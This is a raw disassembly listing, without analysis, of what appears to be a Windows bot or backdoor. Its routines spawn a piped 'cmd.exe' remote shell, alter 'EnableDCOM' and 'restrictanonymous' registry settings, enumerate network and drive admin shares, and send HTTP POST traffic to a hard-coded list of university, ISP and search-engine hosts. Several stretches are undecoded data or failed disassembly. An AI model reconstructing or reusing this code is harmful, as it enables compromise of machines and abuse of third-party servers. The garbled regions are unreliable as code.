add esp, 0Ch
lea eax, [ebp-4]
push edi
push edi
push eax
lea eax, [ebp-20Ch]
push esi
push eax
push ds:dword_4DDE3C
call near ptr 0B10000h
adc al, [ebp-647BF040h]
; ---------------------------------------------------------------------------
dw 0
dd 0FC7D3900h, 458D2B75h, 35FF50F8h, 4DDE38h, 6F62C7E8h
dd 0C0850A00h, 7D810D74h, 103F8h, 99850F00h, 6A000000h
dd 6415FF0Ah, 0EB004280h, 39C0339Dh, 1076FC7Dh, 0F405BC80h
dd 0AFFFFFDh, 3B405474h, 0F072FC45h, 56FC7589h, 0FDF4858Dh
dd 5057FFFFh, 1A03E8h, 0CC48300h, 57F4458Dh, 0FC75FF50h
dd 0FDF4858Dh, 0FF50FFFFh, 4DDE3C35h, 0E815FF00h, 85004280h
dd 8D6D74C0h, 0FFFDF485h, 0FF5350FFh, 4DDE7C35h, 0FEA1E800h
dd 0C483FFFFh, 0FF38E90Ch, 8940FFFFh, 0AFEBFC45h, 43C5E068h
dd 35FF5300h, 4DDE7Ch, 0FFFE82E8h, 875FFFFh, 0FF14AEE8h
dd 10C483FFh, 1DE8016Ah, 0E3006F62h, 0FFFE02E8h, 0C5B868FFh
dd 0FF530043h, 4DDE7C35h, 0FE59E800h, 75FFFFFFh, 1485E808h
dd 0C483FFFFh, 0F5E85710h, 34006F61h, 43C58868h, 35FF5300h
dd 4DDE7Ch, 0FFFE36E8h, 875FFFFh, 0FF1462E8h, 10C483FFh
dd 61D2E857h
db 6Fh, 0, 12h
; ---------------------------------------------------------------------------
loc_419E2F: ; CODE XREF: seg000:00403F81p
push ebp
mov ebp, esp
sub esp, 378h
push ebx
push esi
push edi
call sub_419BEB
xor esi, esi
lea eax, [ebp-178h]
push esi
push eax
push 104h
push esi
push offset aCmd_exe ; "cmd.exe"
push esi
call ds:dword_4CDCB0 ; SearchPathA
test eax, eax
jz near ptr loc_419F24+5
lea eax, [ebp-1Ch]
mov edi, ds:dword_428100
push esi
push eax
lea eax, [ebp-0Ch]
xor ebx, ebx
push eax
lea eax, [ebp-10h]
inc ebx
push eax
mov dword ptr [ebp-1Ch], 0Ch
mov [ebp-14h], ebx
mov [ebp-18h], esi
call edi ; CreatePipe
test eax, eax
jz near ptr loc_419F24+5
lea eax, [ebp-1Ch]
push esi
push eax
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
call edi ; CreatePipe
test eax, eax
jz near ptr loc_419F24+5
mov edi, ds:dword_4280FC
push 3
push esi
push esi
push offset dword_4DDE40
call edi ; GetCurrentProcess
push eax
push dword ptr [ebp-8]
call edi ; GetCurrentProcess
push eax
call near ptr 0B10000h
cli
test eax, eax
jz short near ptr loc_419F24+5
push 10h
lea eax, [ebp-2Ch]
push esi
push eax
call sub_41B780
push 44h
lea eax, [ebp-74h]
pop edi
push edi
push esi
push eax
call sub_41B780
mov eax, [ebp-4]
add esp, 18h
mov [ebp-3Ch], eax
mov eax, [ebp-0Ch]
mov [ebp-38h], eax
mov [ebp-34h], eax
lea eax, [ebp-2Ch]
mov [ebp-74h], edi
push eax
lea eax, [ebp-74h]
push eax
push esi
push esi
push esi
push ebx
push esi
mov ebx, offset dword_43FDB4
push esi
lea eax, [ebp-178h]
push ebx
push eax
mov dword ptr [ebp-48h], 101h
mov [ebp-44h], si
call near ptr 0B10000h
loc_419F24: ; CODE XREF: seg000:00419E5Ej
; seg000:00419E8Bj ...
jnz near ptr 834A14EAh
enter 0FFFFE9FFh, 0AEh
; ---------------------------------------------------------------------------
dw 0
dd 0FC75FF00h, 806C3D8Bh, 0D7FF0042h, 0FFF0458Bh, 3CA3D875h
dd 8B004DDEh, 44A3F845h, 8B004DDEh, 38A3D445h, 0FF004DDEh
dd 8458BD7h, 0A30C7539h, 4DDE7Ch, 75FF0574h, 5301EB0Ch
dd 4DDE4868h, 1B00E800h, 59590000h, 680A6A56h, 43C644h
dd 0FF0FECE8h, 8BF88BFFh, 0FF69DC4Dh, 234h, 890CC483h
dd 440B408Fh, 0D04D8D00h, 68505651h, 419CDAh, 15FF5656h
dd 42807Ch, 8789C63Bh, 440B4Ch, 15FF2775h, 42808Ch, 88858D50h
dd 68FFFFFCh, 43C610h, 1AA8E850h, 858D0000h, 0FFFFFC88h
dd 0B2D4E850h, 0C483FFFFh, 5FC03310h, 0C3C95B5Eh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419FE4 proc near ; DATA XREF: seg000:0040490Eo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
pop edi
pop esi
push [ebp+var_8]
cmp [ebp+var_10], 0
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
jz short loc_41A02B
call sub_41A044
jmp short loc_41A030
; ---------------------------------------------------------------------------
loc_41A02B: ; CODE XREF: sub_419FE4+3Ej
call sub_41A36A
loc_41A030: ; CODE XREF: sub_419FE4+45j
add esp, 10h
push [ebp+var_14]
call sub_40B287
pop ecx
push 0
call near ptr 0B10000h
push es
sub_419FE4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A044 proc near ; CODE XREF: sub_419FE4+40p
; seg000:0041A68Ep
var_214 = byte ptr -214h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
push esi
push edi
xor edi, edi
cmp ds:dword_4CDCC4, edi
jnz loc_41A176
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_4CDC68 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A0CF
mov ax, ds:word_43B390
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call ds:dword_4CDC1C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_41A0B7
push offset dword_43C8E4
jmp short loc_41A0BC
; ---------------------------------------------------------------------------
loc_41A0B7: ; CODE XREF: sub_41A044+6Aj
push offset dword_43C8C4
loc_41A0BC: ; CODE XREF: sub_41A044+71j
push eax
call sub_41BA76
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4CDBD4 ; RegCloseKey
jmp short loc_41A0E2
; ---------------------------------------------------------------------------
loc_41A0CF: ; CODE XREF: sub_41A044+36j
lea eax, [ebp+var_214]
push offset dword_43C894
push eax
call sub_41BA76
pop ecx
pop ecx
loc_41A0E2: ; CODE XREF: sub_41A044+89j
cmp [ebp+arg_C], edi
jnz short loc_41A101
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_41A101: ; CODE XREF: sub_41A044+A1j
lea eax, [ebp+var_214]
push eax
call sub_4152AE
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_4CDC68 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A16F
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], 1
call ds:dword_4CDC1C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_214]
jz short loc_41A157
push offset dword_43C844
jmp short loc_41A15C
; ---------------------------------------------------------------------------
loc_41A157: ; CODE XREF: sub_41A044+10Aj
push offset dword_43C810
loc_41A15C: ; CODE XREF: sub_41A044+111j
push eax
call sub_41BA76
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4CDBD4 ; RegCloseKey
jmp short loc_41A189
; ---------------------------------------------------------------------------
loc_41A16F: ; CODE XREF: sub_41A044+E2j
push offset dword_43C7D4
jmp short loc_41A17B
; ---------------------------------------------------------------------------
loc_41A176: ; CODE XREF: sub_41A044+13j
push offset dword_43C7A4
loc_41A17B: ; CODE XREF: sub_41A044+130j
lea eax, [ebp+var_214]
push eax
call sub_41BA76
pop ecx
pop ecx
loc_41A189: ; CODE XREF: sub_41A044+129j
cmp [ebp+arg_C], edi
jnz short loc_41A1A8
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_41A1A8: ; CODE XREF: sub_41A044+148j
lea eax, [ebp+var_214]
push eax
call sub_4152AE
cmp ds:dword_4CDCEC, edi
pop ecx
jnz loc_41A325
push ebx
mov [ebp+var_4], edi
mov [ebp+var_14], edi
mov [ebp+var_C], edi
loc_41A1CB: ; CODE XREF: sub_41A044+2C5j
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_8]
push 0FFFFFFFFh
push eax
push 1F6h
push edi
call ds:dword_4CDB3C
cmp eax, edi
mov [ebp+var_10], eax
jz short loc_41A26A
cmp eax, 0EAh
jz short loc_41A26A
xor esi, esi
loc_41A1F9: ; CODE XREF: sub_41A044+21Fj
push ds:off_43C66C[esi]
push edi
call sub_418E68
pop ecx
pop ecx
push ds:off_43C66C[esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41A21E
push offset dword_43C780
jmp short loc_41A223
; ---------------------------------------------------------------------------
loc_41A21E: ; CODE XREF: sub_41A044+1D1j
push offset dword_43C754
loc_41A223: ; CODE XREF: sub_41A044+1D8j
push 200h
push eax
call sub_41BB70
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_41A250
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_41A250: ; CODE XREF: sub_41A044+1F0j
lea eax, [ebp+var_214]
push eax
call sub_4152AE
add esi, 8
pop ecx
cmp esi, 20h
jb short loc_41A1F9
jmp loc_41A302
; ---------------------------------------------------------------------------
loc_41A26A: ; CODE XREF: sub_41A044+1AAj
; sub_41A044+1B1j
mov esi, [ebp+var_8]
xor ebx, ebx
inc ebx
cmp [ebp+var_4], ebx
jb loc_41A2F9
loc_41A279: ; CODE XREF: sub_41A044+2B1j
mov edi, [esi]
push edi
call sub_41DA37
cmp word ptr [edi+eax*2-2], 24h
pop ecx
jnz short loc_41A2EE
push edi
call sub_418D55
push eax
push 0
call sub_418E68
add esp, 0Ch
push dword ptr [esi]
test eax, eax
lea eax, [ebp+var_214]
jnz short loc_41A2AE
push offset dword_43C730
jmp short loc_41A2B3
; ---------------------------------------------------------------------------
loc_41A2AE: ; CODE XREF: sub_41A044+261j
push offset dword_43C704
loc_41A2B3: ; CODE XREF: sub_41A044+268j
push 200h
push eax
call sub_41BB70
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A2E1
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_41A2E1: ; CODE XREF: sub_41A044+281j
lea eax, [ebp+var_214]
push eax
call sub_4152AE
pop ecx
loc_41A2EE: ; CODE XREF: sub_41A044+244j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_41A279
xor edi, edi
loc_41A2F9: ; CODE XREF: sub_41A044+22Fj
push [ebp+var_8]
call ds:dword_4CDC88
loc_41A302: ; CODE XREF: sub_41A044+221j
cmp [ebp+var_10], 0EAh
jz loc_41A1CB
lea eax, [ebp+var_214]
push offset dword_43C6DC
push eax
call sub_41BA76
pop ecx
pop ecx
pop ebx
jmp short loc_41A338
; ---------------------------------------------------------------------------
loc_41A325: ; CODE XREF: sub_41A044+177j
lea eax, [ebp+var_214]
push offset dword_43C6AC
push eax
call sub_41BA76
pop ecx
pop ecx
loc_41A338: ; CODE XREF: sub_41A044+2DFj
cmp [ebp+arg_C], edi
jnz short loc_41A356
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_41A356: ; CODE XREF: sub_41A044+2F7j
lea eax, [ebp+var_214]
push eax
call sub_4152AE
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_41A044 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A36A proc near ; CODE XREF: sub_419FE4:loc_41A02Bp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push ebx
xor ebx, ebx
cmp ds:dword_4CDCC4, ebx
push esi
jnz loc_41A498
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push ebx
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call ds:dword_4CDC68 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A3F5
mov ax, ds:word_43B3D4
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_41B1D0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push ebx
push offset aEnabledcom ; "EnableDCOM"
push [ebp+var_4]
call ds:dword_4CDC1C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_41A3DD
push offset dword_43CA5C
jmp short loc_41A3E2
; ---------------------------------------------------------------------------
loc_41A3DD: ; CODE XREF: sub_41A36A+6Aj
push offset dword_43CA40
loc_41A3E2: ; CODE XREF: sub_41A36A+71j
push eax
call sub_41BA76
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4CDBD4 ; RegCloseKey
jmp short loc_41A408
; ---------------------------------------------------------------------------
loc_41A3F5: ; CODE XREF: sub_41A36A+36j
lea eax, [ebp+var_220]
push offset dword_43C894
push eax
call sub_41BA76
pop ecx
pop ecx
loc_41A408: ; CODE XREF: sub_41A36A+89j
cmp [ebp+arg_C], ebx
jnz short loc_41A427
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_41A427: ; CODE XREF: sub_41A36A+A1j
lea eax, [ebp+var_220]
push eax
call sub_4152AE
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call ds:dword_4CDC68 ; RegOpenKeyExA
test eax, eax
jnz short loc_41A491
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call ds:dword_4CDC1C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_41A479
push offset dword_43CA00
jmp short loc_41A47E
; ---------------------------------------------------------------------------
loc_41A479: ; CODE XREF: sub_41A36A+106j
push offset dword_43C9C8
loc_41A47E: ; CODE XREF: sub_41A36A+10Dj
push eax
call sub_41BA76
pop ecx
pop ecx
push [ebp+var_4]
call ds:dword_4CDBD4 ; RegCloseKey
jmp short loc_41A4AB
; ---------------------------------------------------------------------------
loc_41A491: ; CODE XREF: sub_41A36A+E2j
push offset dword_43C98C
jmp short loc_41A49D
; ---------------------------------------------------------------------------
loc_41A498: ; CODE XREF: sub_41A36A+13j
push offset dword_43C7A4
loc_41A49D: ; CODE XREF: sub_41A36A+12Cj
lea eax, [ebp+var_220]
push eax
call sub_41BA76
pop ecx
pop ecx
loc_41A4AB: ; CODE XREF: sub_41A36A+125j
cmp [ebp+arg_C], ebx
jnz short loc_41A4CA
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_41A4CA: ; CODE XREF: sub_41A36A+144j
lea eax, [ebp+var_220]
push eax
call sub_4152AE
cmp ds:dword_4CDCEC, ebx
pop ecx
jnz loc_41A641
push edi
xor esi, esi
mov edi, 200h
loc_41A4EB: ; CODE XREF: sub_41A36A+1EEj
push ds:dword_43C670[esi]
push ds:off_43C66C[esi]
push ebx
call sub_418DBC
add esp, 0Ch
push ds:off_43C66C[esi]
test eax, eax
lea eax, [ebp+var_220]
jnz short loc_41A517
push offset dword_43C96C
jmp short loc_41A51C
; ---------------------------------------------------------------------------
loc_41A517: ; CODE XREF: sub_41A36A+1A4j
push offset dword_43C944
loc_41A51C: ; CODE XREF: sub_41A36A+1ABj
push edi
push eax
call sub_41BB70
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_41A545
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_41A545: ; CODE XREF: sub_41A36A+1BFj
lea eax, [ebp+var_220]
push eax
call sub_4152AE
add esi, 8
pop ecx
cmp esi, 10h
jb short loc_41A4EB
call near ptr 0B10000h
insd
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_41A629
loc_41A56D: ; CODE XREF: sub_41A36A+2B9j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_41A61E
cmp bl, 41h
jz loc_41A61E
movsx esi, bl
push esi
push offset aC_1 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41BB70
push esi
push offset aC_0 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41BB70
add esp, 20h
lea eax, [ebp+var_20]
push eax
call ds:dword_4CDC58 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41A61E
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_418DBC
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_220]
jnz short loc_41A5E2
push offset dword_43C96C
jmp short loc_41A5E7
; ---------------------------------------------------------------------------
loc_41A5E2: ; CODE XREF: sub_41A36A+26Fj
push offset dword_43C944
loc_41A5E7: ; CODE XREF: sub_41A36A+276j
push edi
push eax
call sub_41BB70
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_41A611
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_41A611: ; CODE XREF: sub_41A36A+28Bj
lea eax, [ebp+var_220]
push eax
call sub_4152AE
pop ecx
loc_41A61E: ; CODE XREF: sub_41A36A+20Bj
; sub_41A36A+214j ...
inc bl
shr [ebp+var_4], 1
jnz loc_41A56D
loc_41A629: ; CODE XREF: sub_41A36A+1FDj
lea eax, [ebp+var_220]
push offset dword_43C914
push eax
call sub_41BA76
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_41A654
; ---------------------------------------------------------------------------
loc_41A641: ; CODE XREF: sub_41A36A+173j
lea eax, [ebp+var_220]
push offset dword_43C6AC
push eax
call sub_41BA76
pop ecx
pop ecx
loc_41A654: ; CODE XREF: sub_41A36A+2D5j
cmp [ebp+arg_C], ebx
jnz short loc_41A672
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409966
add esp, 14h
loc_41A672: ; CODE XREF: sub_41A36A+2EDj
lea eax, [ebp+var_220]
push eax
call sub_4152AE
pop ecx
xor eax, eax
pop esi
inc eax
pop ebx
leave
retn
sub_41A36A endp
; ---------------------------------------------------------------------------
loc_41A686: ; CODE XREF: seg000:0041A6A2j
push 1
push 0
push 0
push 0
call sub_41A044
add esp, 10h
push ds:dword_43C668
call ds:dword_428064 ; Sleep
jmp short loc_41A686
; =============== S U B R O U T I N E =======================================
sub_41A6A4 proc near ; CODE XREF: sub_41A89B+CBp
; sub_41A89B+DDp ...
arg_0 = dword ptr 4
call ds:dword_4280A8 ; GetTickCount
push eax
call sub_41BAC8
pop ecx
call sub_41BAD2
cdq
idiv [esp+arg_0]
mov eax, edx
retn
sub_41A6A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A6BE proc near ; CODE XREF: sub_41A89B+D4p
; sub_41A89B+E6p ...
var_38 = dword ptr -38h
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_18 = qword ptr -18h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B1D0
mov esi, 0FFh
pop ecx
cmp eax, esi
ja loc_41A897
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_41B780
push [ebp+arg_0]
mov [ebp+var_28], 2
call sub_40A9E8
add esp, 10h
mov [ebp+var_24], eax
test eax, eax
jz loc_41A897
push 50h
call ds:dword_4CDBF8 ; htons
push 6
push 1
push 2
mov [ebp+var_26], ax
call ds:dword_4CDC78 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz loc_41A897
lea ecx, [ebp+var_28]
push 10h
push ecx
push eax
call ds:dword_4CDBA0 ; connect
cmp eax, 0FFFFFFFFh
jz loc_41A897
push 32003h
call sub_41D1B5
mov edi, ds:dword_4280A8
mov ebx, eax
pop ecx
mov [ebp+var_8], ebx
call edi ; GetTickCount
push eax
call sub_41BAC8
call sub_41BAD2
cdq
idiv esi
mov [esp+38h+var_38], 32001h
push 0
push ebx
movsx esi, dl
call sub_41B780
push 32000h
push esi
push ebx
call sub_41B780
push ebx
call sub_41B1D0
push 323EAh
mov ebx, eax
call sub_41D1B5
push ebx
mov esi, eax
push [ebp+arg_0]
push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
push esi
call sub_41BA76
push [ebp+var_8]
push esi
call sub_41C0B0
push offset asc_4364CC ; "\r\n"
push esi
call sub_41C0B0
add esp, 40h
push esi
call sub_41B1D0
mov ebx, eax
pop ecx
mov [ebp+var_10], ebx
call edi ; GetTickCount
mov dword ptr [ebp+var_18+4], eax
xor eax, eax
test ebx, ebx
mov [ebp+arg_0], eax
jbe short loc_41A815
mov [ebp+var_C], ebx
mov ebx, 400h
jmp short loc_41A7E5
; ---------------------------------------------------------------------------
loc_41A7E2: ; CODE XREF: sub_41A6BE+155j
mov eax, [ebp+arg_0]
loc_41A7E5: ; CODE XREF: sub_41A6BE+122j
mov ecx, [ebp+var_10]
push 0
sub ecx, eax
add eax, esi
cmp ecx, ebx
jnb short loc_41A7F7
push [ebp+var_C]
jmp short loc_41A7F8
; ---------------------------------------------------------------------------
loc_41A7F7: ; CODE XREF: sub_41A6BE+132j
push ebx
loc_41A7F8: ; CODE XREF: sub_41A6BE+137j
push eax
push [ebp+var_4]
call ds:dword_4CDC48 ; send
cmp eax, 0FFFFFFFFh
jz short loc_41A87E
add [ebp+arg_0], ebx
sub [ebp+var_C], ebx
mov eax, [ebp+arg_0]
cmp eax, [ebp+var_10]
jb short loc_41A7E2
loc_41A815: ; CODE XREF: sub_41A6BE+118j
call edi ; GetTickCount
sub eax, dword ptr [ebp+var_18+4]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
fmul ds:flt_428714
fst [ebp+arg_0]
fcomp ds:flt_428710
fnstsw ax
test ah, 44h
jp short loc_41A83F
fld1
fstp [ebp+arg_0]
loc_41A83F: ; CODE XREF: sub_41A6BE+17Aj
push [ebp+var_4]
call ds:dword_4CDC90 ; closesocket
push [ebp+var_8]
call sub_41B2A1
push esi
call sub_41B2A1
mov eax, [ebp+var_10]
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
pop ecx
fild [ebp+var_18]
pop ecx
fdiv [ebp+arg_0]
fmul ds:flt_42870C
fmul ds:flt_428708
call sub_41C988
loc_41A879: ; CODE XREF: sub_41A6BE+1DBj
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_41A87E: ; CODE XREF: sub_41A6BE+147j
push [ebp+var_4]
call ds:dword_4CDC90 ; closesocket
push [ebp+var_8]
call sub_41B2A1
push esi
call sub_41B2A1
pop ecx
pop ecx
loc_41A897: ; CODE XREF: sub_41A6BE+19j
; sub_41A6BE+42j ...
xor eax, eax
jmp short loc_41A879
sub_41A6BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41A89B proc near ; CODE XREF: seg000:00404963p
var_26C = byte ptr -26Ch
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 26Ch
push ebx
push esi
push edi
push 8
mov [ebp+var_4], 3
mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
mov [ebp+var_34], offset aVerio_fr ; "verio.fr"
mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
mov [ebp+var_20], offset aWww_google_it ; "www.google.it"
mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com"
mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net"
mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
mov [ebp+var_48], offset aWww_above_net ; "www.above.net"
mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
mov [ebp+var_40], offset aWww_google_com ; "www.google.com"
mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
call sub_41A6A4
push [ebp+eax*4+var_3C]
call sub_41A6BE
push 8
mov esi, eax
call sub_41A6A4
push [ebp+eax*4+var_3C]
call sub_41A6BE
add esp, 10h
test esi, esi
jz short loc_41A99C
test eax, eax
jz short loc_41A998
lea ebx, [eax+esi]
shr ebx, 1
jmp short loc_41A99E
; ---------------------------------------------------------------------------
loc_41A998: ; CODE XREF: sub_41A89B+F4j
mov ebx, esi
jmp short loc_41A99E
; ---------------------------------------------------------------------------
loc_41A99C: ; CODE XREF: sub_41A89B+F0j
mov ebx, eax
loc_41A99E: ; CODE XREF: sub_41A89B+FBj
; sub_41A89B+FFj
push 0Ch
call sub_41A6A4
push [ebp+eax*4+var_6C]
call sub_41A6BE
push 0Ch
mov edi, eax
call sub_41A6A4
push [ebp+eax*4+var_6C]
call sub_41A6BE
add esp, 10h
test edi, edi
jz short loc_41A9D6
test eax, eax
jz short loc_41A9D2
lea esi, [eax+edi]
shr esi, 1
jmp short loc_41A9D8
; ---------------------------------------------------------------------------
loc_41A9D2: ; CODE XREF: sub_41A89B+12Ej
mov esi, edi
jmp short loc_41A9D8
; ---------------------------------------------------------------------------
loc_41A9D6: ; CODE XREF: sub_41A89B+12Aj
mov esi, eax
loc_41A9D8: ; CODE XREF: sub_41A89B+135j
; sub_41A89B+139j
push 6
call sub_41A6A4
push [ebp+eax*4+var_1C]
call sub_41A6BE
push 6
mov edi, eax
call sub_41A6A4
push [ebp+eax*4+var_1C]
call sub_41A6BE
add esp, 10h
test edi, edi
jz short loc_41AA10
test eax, eax
jz short loc_41AA0C
lea ecx, [eax+edi]
shr ecx, 1
jmp short loc_41AA12
; ---------------------------------------------------------------------------
loc_41AA0C: ; CODE XREF: sub_41A89B+168j
